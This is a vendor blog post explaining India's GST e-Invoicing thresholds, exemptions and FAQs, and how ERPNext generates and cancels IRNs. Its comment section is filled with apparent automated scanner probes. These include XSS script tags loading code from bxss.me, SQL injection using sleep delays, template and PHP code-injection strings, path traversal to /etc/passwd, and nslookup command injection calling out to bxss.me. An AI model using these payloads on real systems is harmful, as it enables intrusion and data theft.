An overview of the new E-Invoicing in GST (for India). What you should know.
e-Invoicing brings many advantages and simplifies B2B transactions in many ways. Let’s learn more about it for India.
From January 1, 2021, all businesses with turnover of more than ₹100cr must generate e-Invoices. Do you have things in place to comply with the government regulations? Let’s take a look at things you should know about E-Invoicing.
What is e-Invoicing?
E-Invoicing is an authentication system under GST that requires B2B companies to upload and authenticate their invoices via an online portal. After authentication, the invoices can be used on the GST portal and also enables some additional benefits. Each invoice will be authenticated uniquely with a separate Invoice Reference Number (IRN).
From October 1, 2020 to December 31, 2020, companies with turnover more than ₹500cr qualified. From 2021, with the ₹100cr threshold, even more companies will have to comply with e-Invoicing. The threshold is applicable where the turnover was above ₹100cr for the years 2017-18 to 2019-20.
The applicable companies will have to generate electronic invoices (e-Invoicing) which is an authentication mechanism under GST. E-Invoicing can be done via a GST Suvidha Provider (GSP) and for each e-Invoice, a unique IRN will be generated.
An important point to note is that the e-Invoice is not generated by the GST portal but is only reported to the portal electronically to get an IRN.
Why was e-Invoicing introduced?
With e-Invoicing, all applicable B2B invoices will have to go through a government portal. This removes questionable practices and tax leakage. But the benefits aren't for the government alone. GSTN says that with e-Invoicing, one of the goals is “To simplify exchange of documents between suppliers and buyers, just like sending/receiving e-mail”.
Businesses get benefits like:
- Replaces a physical invoice copy with easier to use electronic system, hence, reduces mismatch errors
- Reduce disputes in transactions between businesses due to reduced data entry errors
- Real time viewing and tracking of invoices prepared by suppliers
- No need generate separate e-Way bill, will be done together with e-Invoice
- Accurate and faster input tax credit claims
- Unified and automatic reporting of your GST filings, hence less chances of audits by tax authorities
E-invoicing can also have advantages over the old system like improving the payment cycle for the B2B industry and encouraging invoice discounting (invoice-based lending) to small and medium businesses.
What is in an E-Invoice? E-Invoice example/format
The e-Invoice format introduced in India is comprehensive and adheres to international industry standards. There are certain format guidelines to be followed before authenticating e-Invoices. But you don’t have to worry about this if your software is already ready for e-Invoicing.
For reference, as per the Goods and Services Tax Network (GSTN), e-Invoicing should contain a format similar to this:
- An E-Invoice Schema with field name and description. Indication for mandatory fields and optional fields and a few sample values with notes for explanation.
- Masters that specify inputs for fields pre-defined by the GSTN. Master fields include State Code, invoice type, supply type, unit of measure, etc.
- E-Invoice template as per the GST rules that will be universally applicable. This will help relate to terms used in other sheets.
Now here’s an example of a beautiful e-Invoice generated by ERPNext and ready for printing:
E-Invoicing process
To avoid any confusion, let’s reiterate that the invoices are not generated via the portal but only need to be uploaded and verified to comply with government regulations. We’ll not get into the detailed steps here but let’s see the flow of actions in e-Invoicing with the help of this diagram outlined as per GSTN:
E invoicing FAQs
Let’s see and answer a few frequently asked questions about e-Invoicing.
What is the turnover/revenue limit for e-Invoicing?
From January 1, 2021, all businesses with turnover of more than ₹100cr should comply with e-Invoicing regulations under GST.
Which businesses are exempt from e-Invoicing?
The turnover threshold is applicable to all companies in most domains with a few exceptions:
- Banking institutions
- Financial Institutions
- Insurance companies
- Non-banking financial companies (NBFCs)
- Goods transport agencies (GTA)
- Passenger transportation services run by individuals or organizations
- Registered movie theaters with multiplex screens
- Special Economic Zones (SEZs)
Can I generate e-invoices if I’m not using ERP/accounting software?
Good question but with turnover over ₹100cr, if you’re not already using software to manage your data you may have bigger problems than e-Invoicing. To answer the question, technically yes with additional steps but it’s much simpler and faster to comply with e-Invoicing with a compliant software.
Can I cancel an e-Invoice?
Yes and a cancelled e-Invoice should be reported with IRN within 24 hours of cancellation. If not reported within the 24 hour period, the IRN associated with the e-Invoice needs to be cancelled manually on the portal before filing returns. Note that partial cancellation is not possible for e-Invoices.
What was the old system for e-Invoicing?
Businesses generated invoices using different software and were manually uploaded when filing GSTR-1 returns. This also left the transporters to generate e-Way bills manually, again. However, the new system puts together these pieces where filings, e-Way bill, etc all come together thereby reducing the number of steps to be taken.
For what kind of documents/transactions is e-Invoicing applicable?
Other than invoices by a supplier, e-Invoicing is also applicable to credit notes by supplier, debit notes by buyer, and any other documents notified as per GST laws.
For a full list of FAQs outlined in the official document by GST, check out the PDF by GSTN.
How to do e-Invoicing with EPRNext
With an e-Invoicing software ready ERP system like ERPNext, a lot of steps are simplified. Although, you need to do some setup before using it for the first time. After API registration, setting up user credentials, and authenticating GSP, and setting up ERPNext, you should be ready to get going with e-Invoicing.
You can generate IRNs from the Sales Invoice itself. Once you do that, you’ll see IRN and the QR code also be seen when printing:
After generating IRN, the regular Sales Invoice in ERPNext is now ready for printing as an e-Invoice. You can use the default print format or modify it to include/exclude fields.
You can also cancel IRNs from ERPNext itself. On cancellation, you’ll see something like this:
If applicable, you can also create and cancel e-Way bills in ERPNext. For more information on this visit the ERPNext documentation.
Conclusion
E-Invoicing is straightforward, you generate an invoice with software and upload it to the portal. Well integrated software takes care of most of these steps. We saw a good overview of e-Invoicing under GST with benefits, formats,some FAQs and saw how simple it is to handle with software.
ERPNext is e-Invoicing ready and to the best efforts has implemented features to comply with govt regulations with respect to e-Invoicing but it’s best to verify everything related with a certified CA so that no nuances or entries are missed.
ERPNext is einvoicing ready from v13, check it out in action by signing up for a trial.
References
Prasad Ramesh
Marketing at Frappe.
1
1
1
1
1
1
1
1
1
1
1
1
'"()&%<acx><ScRiPt >C51Z(9394)</ScRiPt>
1
1
1'"()&%<acx><ScRiPt >C51Z(9182)</ScRiPt>
1
1
1
1
1
1<tCXZ4V x=9636>
1
1
1
1
1
1
1
�
1
1
1
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9011'>
1
1<ScRiPt >al87(9829)
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9287></ScRiPt>
1<ScRiPt >al87(9245)</ScRiPt>
1
1
1<WQ7CGC>M4C7I[!+!]</WQ7CGC>
1<ScRiPt >al87(9499)</ScRiPt>
1
1
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
acx${98991*97996}::.x
1
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
1
Comment
1
1
1
<%={{={@{#{${acx}}%>
1
1
acux2845��z1��z2a�bcxuca2845
1
acu2487<s1﹥s2ʺs3ʹuca2487
1
1
19218852
1
1
1
'"()&%<acx><ScRiPt >al87(9588)</ScRiPt>
1
1'"()&%<acx><ScRiPt >al87(9972)</ScRiPt>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@D6nDo
d07JNW6Z' OR 389=(SELECT 389 FROM PG_SLEEP(15))--
1
1
1
1
1
1
1
1
1
1
"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")
acx${98991*97996}::.x
acx[[${98991*97996}]]xca
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
Comment
1
1
<%={{={@{#{${acx}}%>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
acux8818��z1��z2a�bcxuca8818
1
1
acu2824<s1﹥s2ʺs3ʹuca2824
1
19313019
1
'"()&%<acx><ScRiPt >78Wq(9728)</ScRiPt>
1
1'"()&%<acx><ScRiPt >78Wq(9431)</ScRiPt>
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1 OR 3*2<(0+5+10-10) --
-1 OR 3+10-10-1=0+0+0+1 --
YrfAOMxg
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'+'A'.concat(70-3).concat(22*4).concat(97).concat(67).concat(106).concat(77)+(require'socket' Socket.gethostbyname('hitrd'+'sfjncyvp500cf.bxss.me.')[3].to_s)+'
1
1
1
bxss.me/t/xss.html?%00
${@print(md5(31337))}\
${@print(md5(31337))}
";print(md5(31337));$a="
';print(md5(31337));$a='
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
1
1
1
1
1
1
bxss.me
1
1someinexistentfilewithlong_name.jpg
1
1
1
1
1
1
1
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
12345'"\'\");|]*{ <>�''?
../../../../../../../../../../etc/passwd.jpg
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
../../../../../../../../../../../../../../../proc/version
./1
$(nslookup hitpieyenakrx8a99f.bxss.me||perl -e "gethostbyname('hitpieyenakrx8a99f.bxss.me')")
(nslookup hitlnurqqeqexa226b.bxss.me||perl -e "gethostbyname('hitlnurqqeqexa226b.bxss.me')")
1
|echo xcgysy$()\ bbyltu\nz^xyu||a #' |echo xcgysy$()\ bbyltu\nz^xyu||a #|" |echo xcgysy$()\ bbyltu\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
&echo vecnko$()\ rljsdj\nz^xyu||a #' &echo vecnko$()\ rljsdj\nz^xyu||a #|" &echo vecnko$()\ rljsdj\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
echo gjksye$()\ mqptha\nz^xyu||a #' &echo gjksye$()\ mqptha\nz^xyu||a #|" &echo gjksye$()\ mqptha\nz^xyu||a #
1
1
1
1
1
1Mlt778YO
1
Hi we are done with the configuration for e-invoicing but when we generate IRN showing the error message The field address line 1 must be a string with a minimum length of 1 and a maximum of 100 same for the address2 in our addresses 1 and 2 there are numbers/special characters and strings. If we keep only characters in that case same error showing for generating IRN.
Great post and very informative article about E-invoicing
Excellent clarification on E Invoicing Start using E-Invoice at our end through ERPNext works fine,